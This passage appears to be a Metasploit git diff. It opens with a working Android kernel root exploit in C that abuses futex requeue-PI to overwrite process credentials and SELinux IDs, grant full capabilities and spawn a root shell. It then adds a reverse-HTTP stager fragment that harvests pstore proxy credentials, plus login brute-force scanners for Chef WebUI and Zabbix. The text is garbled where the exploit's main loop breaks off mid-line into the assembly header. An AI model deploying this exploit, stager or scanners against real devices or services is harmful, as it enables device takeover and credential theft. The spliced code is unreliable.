task->cred; + break; + } + } + + read_pipe(cred, &credbuf, sizeof credbuf); + + security = credbuf.security; + + if ((unsigned long)security > KERNEL_START && (unsigned long)security < 0xffff0000) { + read_pipe(security, &securitybuf, sizeof securitybuf); + + if (securitybuf.osid != 0 + && securitybuf.sid != 0 + && securitybuf.exec_sid == 0 + && securitybuf.create_sid == 0 + && securitybuf.keycreate_sid == 0 + && securitybuf.sockcreate_sid == 0) { + securitybuf.osid = 1; + securitybuf.sid = 1; + + printf("task_security_struct: %p\n", security); + + write_pipe(security, &securitybuf, sizeof securitybuf); + } + } + + credbuf.uid = 0; + credbuf.gid = 0; + credbuf.suid = 0; + credbuf.sgid = 0; + credbuf.euid = 0; + credbuf.egid = 0; + credbuf.fsuid = 0; + credbuf.fsgid = 0; + + credbuf.cap_inheritable.cap[0] = 0xffffffff; + credbuf.cap_inheritable.cap[1] = 0xffffffff; + credbuf.cap_permitted.cap[0] = 0xffffffff; + credbuf.cap_permitted.cap[1] = 0xffffffff; + credbuf.cap_effective.cap[0] = 0xffffffff; + credbuf.cap_effective.cap[1] = 0xffffffff; + credbuf.cap_bset.cap[0] = 0xffffffff; + credbuf.cap_bset.cap[1] = 0xffffffff; + + write_pipe(cred, &credbuf, sizeof credbuf); + + pid = syscall(__NR_gettid); + + for (i = 0; i < ARRAY_SIZE(taskbuf); i++) { + static unsigned long write_value = 1; + + if (taskbuf[i] == pid) { + write_pipe(((void *)stackbuf.task) + (i << 2), &write_value, sizeof write_value); + + if (getuid() != 0) { + printf("ROOT FAILED\n"); + while (1) { + sleep(10); + } + } else { //rooted + break; + } + } + } + + sleep(1); + + if (g_argc >= 2) { + system(rootcmd); + } else { + system("/system/bin/sh -i"); + } + + system("/system/bin/touch /dev/rooted"); + + pid = fork(); + if (pid == 0) { + while (1) { + ret = access("/dev/rooted", F_OK); + if (ret >= 0) { + break; + } + } + + printf("wait 10 seconds...\n"); + sleep(10); + + printf("rebooting...\n"); + sleep(1); + system("reboot"); + + while (1) { + sleep(10); + } + } + + pthread_mutex_lock(&done_lock); + pthread_cond_signal(&done); + pthread_mutex_unlock(&done_lock); + + while (1) { + sleep(10); + } + + return; +} + +void *make_action(void *arg) { + int prio; + struct sigaction act; + int ret; + + prio = (int)arg; + last_tid = syscall(__NR_gettid); + + pthread_mutex_lock(&is_thread_desched_lock); + pthread_cond_signal(&is_thread_desched); + + act.sa_handler = write_kernel; + act.sa_mask = 0; + act.sa_flags = 0; + act.sa_restorer = NULL; + sigaction(12, &act, NULL); + + setpriority(PRIO_PROCESS, 0, prio); + + pthread_mutex_unlock(&is_thread_desched_lock); + + do_dm_tid_read = 1; + + while (did_dm_tid_read == 0) { + ; + } + + ret = syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0); + printf("futex dm: %d\n", ret); + + while (1) { + sleep(10); + } + + return NULL; +} + +pid_t wake_actionthread(int prio) { + pthread_t th4; + pid_t pid; + char filename[256]; + FILE *fp; + char filebuf[0x1000]; + char *pdest; + int vcscnt, vcscnt2; + + do_dm_tid_read = 0; + did_dm_tid_read = 0; + + pthread_mutex_lock(&is_thread_desched_lock); + pthread_create(&th4, 0, make_action, (void *)prio); + pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock); + + pid = last_tid; + + sprintf(filename, "/proc/self/task/%d/status", pid); + + fp = fopen(filename, "rb"); + if (fp == 0) { + vcscnt = -1; + } + else { + fread(filebuf, 1, sizeof filebuf, fp); + pdest = strstr(filebuf, "voluntary_ctxt_switches"); + pdest += 0x19; + vcscnt = atoi(pdest); + fclose(fp); + } + + while (do_dm_tid_read == 0) { + usleep(10); + } + + did_dm_tid_read = 1; + + while (1) { + sprintf(filename, "/proc/self/task/%d/status", pid); + fp = fopen(filename, "rb"); + if (fp == 0) { + vcscnt2 = -1; + } + else { + fread(filebuf, 1, sizeof filebuf, fp); + pdest = strstr(filebuf, "voluntary_ctxt_switches"); + pdest += 0x19; + vcscnt2 = atoi(pdest); + fclose(fp); + } + + if (vcscnt2 == vcscnt + 1) { + break; + } + usleep(10); + + } + + pthread_mutex_unlock(&is_thread_desched_lock); + + return pid; +} + +int make_socket() { + int sockfd; + struct sockaddr_in addr = {0}; + int ret; + int sock_buf_size; + + sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP); + if (sockfd < 0) { + printf("socket failed.\n"); + usleep(10); + } else { + addr.sin_family = AF_INET; + addr.sin_port = htons(LOCAL_PORT); + addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + } + + while (1) { + ret = connect(sockfd, (struct sockaddr *)&addr, 16); + if (ret >= 0) { + break; + } + usleep(10); + } + + sock_buf_size = 1; + setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size)); + + return sockfd; +} + +void *send_magicmsg(void *arg) { + int sockfd; + struct mmsghdr msgvec[1]; + struct iovec msg_iov[8]; + unsigned long databuf[0x20]; + int i; + int ret; + + waiter_thread_tid = syscall(__NR_gettid); + setpriority(PRIO_PROCESS, 0, 12); + + sockfd = make_socket(); + + for (i = 0; i < ARRAY_SIZE(databuf); i++) { + databuf[i] = MAGIC; + } + + for (i = 0; i < 8; i++) { + msg_iov[i].iov_base = (void *)MAGIC; + msg_iov[i].iov_len = 0x10; + } + + msgvec[0].msg_hdr.msg_name = databuf; + msgvec[0].msg_hdr.msg_namelen = sizeof databuf; + msgvec[0].msg_hdr.msg_iov = msg_iov; + msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov); + msgvec[0].msg_hdr.msg_control = databuf; + msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf); + msgvec[0].msg_hdr.msg_flags = 0; + msgvec[0].msg_len = 0; + + syscall(__NR_futex, &uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, 0, &uaddr2, 0); + + do_socket_tid_read = 1; + + while (1) { + if (did_socket_tid_read != 0) { + break; + } + } + + ret = 0; + + while (1) { + ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0); + if (ret <= 0) { + break; + } + } + + if (ret < 0) { + perror("SOCKSHIT"); + } + printf("EXIT WTF\n"); + while (1) { + sleep(10); + } + + return NULL; +} + +static inline setup_exploit(unsigned long mem) +{ + *((unsigned long *)(mem - 0x04)) = 0x81; + *((unsigned long *)(mem + 0x00)) = mem + 0x20; + *((unsigned long *)(mem + 0x08)) = mem + 0x28; + *((unsigned long *)(mem + 0x1c)) = 0x85; + *((unsigned long *)(mem + 0x24)) = mem; + *((unsigned long *)(mem + 0x2c)) = mem + 8; +} + +void *search_goodnum(void *arg) { + int ret; + char filename[256]; + FILE *fp; + char filebuf[0x1000]; + char *pdest; + int vcscnt, vcscnt2; + unsigned long magicval; + pid_t pid; + unsigned long goodval, goodval2; + unsigned long addr, setaddr; + int i; + char buf[0x1000]; + + syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0); + + while (1) { + ret = syscall(__NR_futex, &uaddr1, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr1); + if (ret == 1) { + break; + } + usleep(10); + } + + wake_actionthread(6); + wake_actionthread(7); + + uaddr2 = 0; + do_socket_tid_read = 0; + did_socket_tid_read = 0; + + syscall(__NR_futex, &uaddr2, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr2); + + while (1) { + if (do_socket_tid_read != 0) { + break; + } + } + + sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid); + + fp = fopen(filename, "rb"); + if (fp == 0) { + vcscnt = -1; + } + else { + fread(filebuf, 1, sizeof filebuf, fp); + pdest = strstr(filebuf, "voluntary_ctxt_switches"); + pdest += 0x19; + vcscnt = atoi(pdest); + fclose(fp); + } + + did_socket_tid_read = 1; + + while (1) { + sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid); + fp = fopen(filename, "rb"); + if (fp == 0) { + vcscnt2 = -1; + } + else { + fread(filebuf, 1, sizeof filebuf, fp); + pdest = strstr(filebuf, "voluntary_ctxt_switches"); + pdest += 0x19; + vcscnt2 = atoi(pdest); + fclose(fp); + } + + if (vcscnt2 == vcscnt + 1) { + break; + } + usleep(10); + } + + printf("starting the dangerous things\n"); + + setup_exploit(MAGIC_ALT); + setup_exploit(MAGIC); + + magicval = *((unsigned long *)MAGIC); + + wake_actionthread(11); + + if (*((unsigned long *)MAGIC) == magicval) { + printf("using MAGIC_ALT.\n"); + MAGIC = MAGIC_ALT; + } + + while (1) { + is_kernel_writing = (pthread_mutex_t *)malloc(4); + pthread_mutex_init(is_kernel_writing, NULL); + + setup_exploit(MAGIC); + + pid = wake_actionthread(11); + + goodval = *((unsigned long *)MAGIC) & 0xffffe000; + + printf("%p is a good number\n", (void *)goodval); + + do_splice_tid_read = 0; + did_splice_tid_read = 0; + + pthread_mutex_lock(&is_thread_awake_lock); + + kill(pid, 12); + + pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock); + pthread_mutex_unlock(&is_thread_awake_lock); + + while (1) { + if (do_splice_tid_read != 0) { + break; + } + usleep(10); + } + + sprintf(filename, "/proc/self/task/%d/status", pid); + fp = fopen(filename, "rb"); + if (fp == 0) { + vcscnt = -1; + } + else { + fread(filebuf, 1, sizeof filebuf, fp); + pdest = strstr(filebuf, "voluntary_ctxt_switches"); + pdest += 0x19; + vcscnt = atoi(pdest); + fclose(fp); + } + + did_splice_tid_read = 1; + + while (1) { + sprintf(filename, "/proc/self/task/%d/status", pid); + fp = fopen(filename, "rb"); + if (fp == 0) { + vcscnt2 = -1; + } + else { + fread(filebuf, 1, sizeof filebuf, fp); + pdest = strstr(filebuf, "voluntary_ctxt_switches"); + pdest += 19; + vcscnt2 = atoi(pdest); + fclose(fp); + } + + if (vcscnt2 != vcscnt + 1) { + break; + } + usleep(10); + } + + goodval2 = 0; + + setup_exploit(MAGIC); + + *((unsigned long *)(MAGIC + 0x24)) = goodval + 8; + + wake_actionthread(12); + goodval2 = *((unsigned long *)(MAGIC + 0x24)); + + printf("%p is also a good number.\n", (void *)goodval2); + + for (i = 0; i < 9; i++) { + setup_exploit(MAGIC); + + pid = wake_actionthread(10); + + if (*((unsigned long *)MAGIC) < goodval2) { + HACKS_final_stack_base = (struct thread_info *)(*((unsigned long *)MAGIC) & 0xffffe000); + + pthread_mutex_lock(&is_thread_awake_lock); + + kill(pid, 12); + + pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock); + pthread_mutex_unlock(&is_thread_awake_lock); + + printf("GOING\n"); + + write(HACKS_fdm, buf, sizeof buf); + + while (1) { + sleep(10); + } + } + + } + } + + return NULL; +} + +void *accept_socket(void *arg) { + int sockfd; + int yes; + struct sockaddr_in addr = {0}; + int ret; + + sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP); + + yes = 1; + setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes)); + + addr.sin_family = AF_INET; + addr.sin_port = htons(LOCAL_PORT); + addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)); + + listen(sockfd, 1); + + while(1) { + ret = accept(sockfd, NULL, NULL); + if (ret < 0) { + printf("**** SOCK_PROC failed ****\n"); + while(1) { + sleep(10); + } + } else { + printf("i have a client like hookers.\n"); + } + } + + return NULL; +} + +void init_exploit() { + unsigned long addr; + pthread_t th1, th2, th3; + + printf("running with pid %d\n", getpid()); + + pthread_create(&th1, NULL, accept_socket, NULL); + + addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); + addr += 0x800; + MAGIC = addr; + if ((long)addr >= 0) { + printf("first mmap failed?\n"); + while (1) { + sleep(10); + } + } + + addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); + addr += 0x800; + MAGIC_ALT = addr; + if (addr > 0x110000) { + printf("second mmap failed?\n"); + while (1) { + sleep(10); + } + } + + pthread_mutex_lock(&done_lock); + pthread_create(&th2, NULL, search_goodnum, NULL); + pthread_create(&th3, NULL, send_magicmsg, NULL); + pthread_cond_wait(&done, &done_lock); +} + +int main(int argc, char **argv) { + g_argc = argc; + + if (argc >= 2) { + strlcat(rootcmd, "/system/bin/sh -c '", sizeof(rootcmd) - 1); + int i; + for (i=1;ibuild.py stager_reverse_http_proxy_pstore +;-----------------------------------------------------------------------------; + +[BITS 32] +[ORG 0] + + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. +%include "./src/block/block_api.asm" +start: ; + pop ebp ; pop off the address of 'api_call' for calling later. +%include "./src/block/block_get_pstore_creds.asm" +%include "./src/block/block_reverse_http_use_proxy_creds.asm" + ; By here we will have performed the reverse_tcp connection and EDI will be our socket. + diff --git a/lib/metasploit/framework/ftp/client.rb b/lib/metasploit/framework/ftp/client.rb index 9e6bcdacec..c61b8f60a9 100644 --- a/lib/metasploit/framework/ftp/client.rb +++ b/lib/metasploit/framework/ftp/client.rb @@ -44,7 +44,11 @@ module Metasploit # convert port to FTP syntax datahost = "#{$1}.#{$2}.#{$3}.#{$4}" dataport = ($5.to_i * 256) + $6.to_i - self.datasocket = Rex::Socket::Tcp.create('PeerHost' => datahost, 'PeerPort' => dataport) + self.datasocket = Rex::Socket::Tcp.create( + 'PeerHost' => datahost, + 'PeerPort' => dataport, + 'Context' => { 'Msf' => framework, 'MsfExploit' => framework_module } + ) end self.datasocket end diff --git a/lib/metasploit/framework/login_scanner/axis2.rb b/lib/metasploit/framework/login_scanner/axis2.rb index 0fc32c9913..3d901b95bf 100644 --- a/lib/metasploit/framework/login_scanner/axis2.rb +++ b/lib/metasploit/framework/login_scanner/axis2.rb @@ -17,7 +17,7 @@ module Metasploit # (see Base#attempt_login) def attempt_login(credential) http_client = Rex::Proto::Http::Client.new( - host, port, {}, ssl, ssl_version, proxies + host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies ) http_client = config_client(http_client) diff --git a/lib/metasploit/framework/login_scanner/base.rb b/lib/metasploit/framework/login_scanner/base.rb index 16e7655a0b..889002eb36 100644 --- a/lib/metasploit/framework/login_scanner/base.rb +++ b/lib/metasploit/framework/login_scanner/base.rb @@ -12,6 +12,12 @@ module Metasploit include ActiveModel::Validations included do + # @!attribute framework + # @return [Object] The framework instance object + attr_accessor :framework + # @!attribute framework_module + # @return [Object] The framework module caller, if availale + attr_accessor :framework_module # @!attribute connection_timeout # @return [Fixnum] The timeout in seconds for a single SSH connection attr_accessor :connection_timeout diff --git a/lib/metasploit/framework/login_scanner/buffalo.rb b/lib/metasploit/framework/login_scanner/buffalo.rb index 53357aa227..656a723533 100644 --- a/lib/metasploit/framework/login_scanner/buffalo.rb +++ b/lib/metasploit/framework/login_scanner/buffalo.rb @@ -34,7 +34,7 @@ module Metasploit result_opts[:service_name] = 'http' end begin - cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version) cli.connect req = cli.request_cgi({ 'method'=>'POST', diff --git a/lib/metasploit/framework/login_scanner/chef_webui.rb b/lib/metasploit/framework/login_scanner/chef_webui.rb new file mode 100644 index 0000000000..c917af9954 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/chef_webui.rb @@ -0,0 +1,143 @@ + +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # The ChefWebUI HTTP LoginScanner class provides methods to authenticate to Chef WebUI + class ChefWebUI < HTTP + + DEFAULT_PORT = 80 + PRIVATE_TYPES = [ :password ] + + # @!attribute session_name + # @return [String] Cookie name for session_id + attr_accessor :session_name + + # @!attribute session_id + # @return [String] Cookie value + attr_accessor :session_id + + # Decides which login routine and returns the results + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Result] + def attempt_login(credential) + result_opts = { credential: credential } + + begin + status = try_login(credential) + result_opts.merge!(status) + rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + end + + Result.new(result_opts) + end + + # (see Base#check_setup) + def check_setup + begin + res = send_request({'uri' => normalize_uri('/users/login')}) + return "Connection failed" if res.nil? + + if res.code != 200 + return "Unexpected HTTP response code #{res.code} (is this really Chef WebUI?)" + end + + if res.body.to_s !~ /Chef Server<\/title>/ + return "Unexpected HTTP body (is this really Chef WebUI?)" + end + + rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error + return "Unable to connect to target" + end + + false + end + + # Sends a HTTP request with Rex + # + # @param (see Rex::Proto::Http::Resquest#request_raw) + # @return [Rex::Proto::Http::Response] The HTTP response + def send_request(opts) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies) + cli.connect + req = cli.request_raw(opts) + res = cli.send_recv(req) + + # Save the session ID cookie + if res && res.get_cookies =~ /(_\w+_session)=([^;$]+)/i + self.session_name = $1 + self.session_id = $2 + end + + res + end + + # Sends a login request + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Rex::Proto::Http::Response] The HTTP auth response + def try_credential(csrf_token, credential) + + data = "utf8=%E2%9C%93" # ✓ + data << "&authenticity_token=#{Rex::Text.uri_encode(csrf_token)}" + data << "&name=#{Rex::Text.uri_encode(credential.public)}" + data << "&password=#{Rex::Text.uri_encode(credential.private)}" + data << "&commit=login" + + opts = { + 'uri' => normalize_uri('/users/login_exec'), + 'method' => 'POST', + 'data' => data, + 'headers' => { + 'Content-Type' => 'application/x-www-form-urlencoded', + 'Cookie' => "#{self.session_name}=#{self.session_id}" + } + } + + send_request(opts) + end + + + # Tries to login to Chef WebUI + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Hash] + # * :status [Metasploit::Model::Login::Status] + # * :proof [String] the HTTP response body + def try_login(credential) + + # Obtain a CSRF token first + res = send_request({'uri' => normalize_uri('/users/login')}) + unless (res && res.code == 200 && res.body =~ /input name="authenticity_token" type="hidden" value="([^"]+)"/m) + return {:status => Metasploit::Model::Login::Status::UNTRIED, :proof => res.body} + end + + csrf_token = $1 + + res = try_credential(csrf_token, credential) + if res && res.code == 302 + opts = { + 'uri' => normalize_uri("/users/#{credential.public}/edit"), + 'method' => 'GET', + 'headers' => { + 'Cookie' => "#{self.session_name}=#{self.session_id}" + } + } + res = send_request(opts) + if (res && res.code == 200 && res.body.to_s =~ /New password for the User/) + return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body} + end + end + + {:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body} + end + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/glassfish.rb b/lib/metasploit/framework/login_scanner/glassfish.rb index ccd2fa559b..3ce137bed5 100644 --- a/lib/metasploit/framework/login_scanner/glassfish.rb +++ b/lib/metasploit/framework/login_scanner/glassfish.rb @@ -61,7 +61,7 @@ module Metasploit # @param (see Rex::Proto::Http::Resquest#request_raw) # @return [Rex::Proto::Http::Response] The HTTP response def send_request(opts) - cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies) cli.connect req = cli.request_raw(opts) res = cli.send_recv(req) diff --git a/lib/metasploit/framework/login_scanner/http.rb b/lib/metasploit/framework/login_scanner/http.rb index ae49430656..c2a1cff54f 100644 --- a/lib/metasploit/framework/login_scanner/http.rb +++ b/lib/metasploit/framework/login_scanner/http.rb @@ -47,7 +47,7 @@ module Metasploit # (see Base#check_setup) def check_setup http_client = Rex::Proto::Http::Client.new( - host, port, {}, ssl, ssl_version, proxies + host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies ) request = http_client.request_cgi( 'uri' => uri, @@ -55,7 +55,7 @@ module Metasploit ) begin - # Use _send_recv instead of send_recv to skip automatiu + # Use _send_recv instead of send_recv to skip automatic # authentication response = http_client._send_recv(request) rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error @@ -95,7 +95,7 @@ module Metasploit end http_client = Rex::Proto::Http::Client.new( - host, port, {}, ssl, ssl_version, + host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies, credential.public, credential.private ) @@ -160,6 +160,14 @@ module Metasploit nil end + # Combine the base URI with the target URI in a sane fashion + # + # @param [String] The target URL + # @return [String] the final URL mapped against the base + def normalize_uri(target_uri) + (self.uri.to_s + "/" + target_uri.to_s).gsub(/\/+/, '/') + end + end end end diff --git a/lib/metasploit/framework/login_scanner/ipboard.rb b/lib/metasploit/framework/login_scanner/ipboard.rb index c7c45e3f05..d8f91d6636 100644 --- a/lib/metasploit/framework/login_scanner/ipboard.rb +++ b/lib/metasploit/framework/login_scanner/ipboard.rb @@ -10,7 +10,7 @@ module Metasploit # (see Base#attempt_login) def attempt_login(credential) http_client = Rex::Proto::Http::Client.new( - host, port, {}, ssl, ssl_version, proxies + host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies ) http_client = config_client(http_client) diff --git a/lib/metasploit/framework/login_scanner/jenkins.rb b/lib/metasploit/framework/login_scanner/jenkins.rb index c2f355251f..9189e0469e 100644 --- a/lib/metasploit/framework/login_scanner/jenkins.rb +++ b/lib/metasploit/framework/login_scanner/jenkins.rb @@ -33,7 +33,7 @@ module Metasploit result_opts[:service_name] = 'http' end begin - cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies) cli.connect req = cli.request_cgi({ 'method'=>'POST', diff --git a/lib/metasploit/framework/login_scanner/mybook_live.rb b/lib/metasploit/framework/login_scanner/mybook_live.rb index 2f32ebe304..f439bf3a38 100644 --- a/lib/metasploit/framework/login_scanner/mybook_live.rb +++ b/lib/metasploit/framework/login_scanner/mybook_live.rb @@ -35,7 +35,7 @@ module Metasploit begin cred = Rex::Text.uri_encode(credential.private) body = "data%5BLogin%5D%5Bowner_name%5D=admin&data%5BLogin%5D%5Bowner_passwd%5D=#{cred}" - cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version) cli.connect req = cli.request_cgi( 'method' => method, diff --git a/lib/metasploit/framework/login_scanner/smh.rb b/lib/metasploit/framework/login_scanner/smh.rb index 10d02c8673..e42e20b9d7 100644 --- a/lib/metasploit/framework/login_scanner/smh.rb +++ b/lib/metasploit/framework/login_scanner/smh.rb @@ -33,7 +33,7 @@ module Metasploit res = nil begin - cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies) cli.connect req = cli.request_cgi(req_opts) res = cli.send_recv(req) diff --git a/lib/metasploit/framework/login_scanner/snmp.rb b/lib/metasploit/framework/login_scanner/snmp.rb index d2fd0d313a..a6ba854202 100644 --- a/lib/metasploit/framework/login_scanner/snmp.rb +++ b/lib/metasploit/framework/login_scanner/snmp.rb @@ -38,7 +38,7 @@ module Metasploit :Timeout => connection_timeout, :Retries => 2, :Transport => ::SNMP::RexUDPTransport, - :Socket => ::Rex::Socket::Udp.create + :Socket => ::Rex::Socket::Udp.create('Context' => { 'Msf' => framework, 'MsfExploit' => framework_module }) ) result_options[:proof] = test_read_access(snmp_client) diff --git a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb index 9166545e99..b69a489e6a 100644 --- a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb +++ b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb @@ -10,7 +10,7 @@ module Metasploit # (see Base#attempt_login) def attempt_login(credential) http_client = Rex::Proto::Http::Client.new( - host, port, {}, ssl, ssl_version, proxies + host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies ) result_opts = { diff --git a/lib/metasploit/framework/login_scanner/zabbix.rb b/lib/metasploit/framework/login_scanner/zabbix.rb new file mode 100644 index 0000000000..436343bf0e --- /dev/null +++ b/lib/metasploit/framework/login_scanner/zabbix.rb @@ -0,0 +1,136 @@ + +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # The Zabbix HTTP LoginScanner class provides methods to do login routines + # for Zabbix 2.4 and 2.2 + class Zabbix < HTTP + + DEFAULT_PORT = 80 + PRIVATE_TYPES = [ :password ] + + # @!attribute version + # @return [String] Product version + attr_accessor :version + + # @!attribute zsession + # @return [String] Cookie session + attr_accessor :zsession + + # Decides which login routine and returns the results + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Result] + def attempt_login(credential) + result_opts = { credential: credential } + + begin + status = try_login(credential) + result_opts.merge!(status) + rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + end + + Result.new(result_opts) + end + + + # (see Base#check_setup) + def check_setup + begin + res = send_request({'uri' => normalize_uri('/')}) + return "Connection failed" if res.nil? + + if res.code != 200 + return "Unexpected HTTP response code #{res.code} (is this really Zabbix?)" + end + + if res.body.to_s !~ /Zabbix ([^\s]+) Copyright .* by Zabbix/m + return "Unexpected HTTP body (is this really Zabbix?)" + end + + self.version = $1 + + rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error + return "Unable to connect to target" + end + + false + end + + # Sends a HTTP request with Rex + # + # @param (see Rex::Proto::Http::Resquest#request_raw) + # @return [Rex::Proto::Http::Response] The HTTP response + def send_request(opts) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies) + cli.connect + req = cli.request_raw(opts) + res = cli.send_recv(req) + + # Found a cookie? Set it. We're going to need it. + if res && res.get_cookies =~ /zbx_sessionid=(\w*);/i + self.zsession = $1 + end + + res + end + + # Sends a login request + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Rex::Proto::Http::Response] The HTTP auth response + def try_credential(credential) + + data = "request=" + data << "&name=#{Rex::Text.uri_encode(credential.public)}" + data << "&password=#{Rex::Text.uri_encode(credential.private)}" + data << "&autologin=1" + data << "&enter=Sign%20in" + + opts = { + 'uri' => normalize_uri('index.php'), + 'method' => 'POST', + 'data' => data, + 'headers' => { + 'Content-Type' => 'application/x-www-form-urlencoded' + } + } + + send_request(opts) + end + + + # Tries to login to Zabbix + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Hash] + # * :status [Metasploit::Model::Login::Status] + # * :proof [String] the HTTP response body + def try_login(credential) + res = try_credential(credential) + if res && res.code == 302 + opts = { + 'uri' => normalize_uri('profile.php'), + 'method' => 'GET', + 'headers' => { + 'Cookie' => "zbx_sessionid=#{self.zsession}" + } + } + res = send_request(opts) + if (res && res.code == 200 && res.body.to_s =~ /<title>Zabbix .*: User profile<\/title>/) + return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body} + end + end + + {:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body} + end + + end + end + end +end + diff --git a/lib/metasploit/framework/tcp/client.rb b/lib/metasploit/framework/tcp/client.rb index ce001f3a30..9789d5d2e7 100644 --- a/lib/metasploit/framework/tcp/client.rb +++ b/lib/metasploit/framework/tcp/client.rb @@ -89,7 +89,8 @@ module Metasploit 'SSL' => dossl, 'SSLVersion' => opts['SSLVersion'] || ssl_version, 'Proxies' => proxies, - 'Timeout' => (opts['ConnectTimeout'] || connection_timeout || 10).to_i + 'Timeout' => (opts['ConnectTimeout'] || connection_timeout || 10).to_i, + 'Context' => { 'Msf' => framework, 'MsfExploit' => framework_module } ) # enable evasions on this socket set_tcp_evasions(nsock) diff --git a/lib/msf/core.rb b/lib/msf/core.rb index 7b44b365b4..b93efa2b23 100644 --- a/lib/msf/core.rb +++ b/lib/msf/core.rb @@ -75,6 +75,12 @@ require 'msf/http/jboss' # Kerberos Support require 'msf/kerberos/client' +# Java RMI Support +require 'msf/java/rmi/client' + +# Java JMX Support +require 'msf/java/jmx' + # Drivers require 'msf/core/exploit_driver' diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index 2bc00061ee..2c2d55b73a 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -130,7 +130,7 @@ class Msf::DBManager # def check ::ActiveRecord::Base.connection_pool.with_connection { - res = ::Mdm::Host.find(:first) + res = ::Mdm::Host.first } end diff --git a/lib/msf/core/db_manager/client.rb b/lib/msf/core/db_manager/client.rb index 0e2834e444..9d09304906 100644 --- a/lib/msf/core/db_manager/client.rb +++ b/lib/msf/core/db_manager/client.rb @@ -36,7 +36,7 @@ module Msf::DBManager::Client ret = {} host = get_host(:workspace => wspace, :host => addr) - client = host.clients.find_or_initialize_by_ua_string(opts[:ua_string]) + client = host.clients.where(ua_string: opts[:ua_string]).first_or_initialize opts[:ua_string] = opts[:ua_string].to_s diff --git a/lib/msf/core/db_manager/cred.rb b/lib/msf/core/db_manager/cred.rb index 23c70b7803..640fba9a70 100644 --- a/lib/msf/core/db_manager/cred.rb +++ 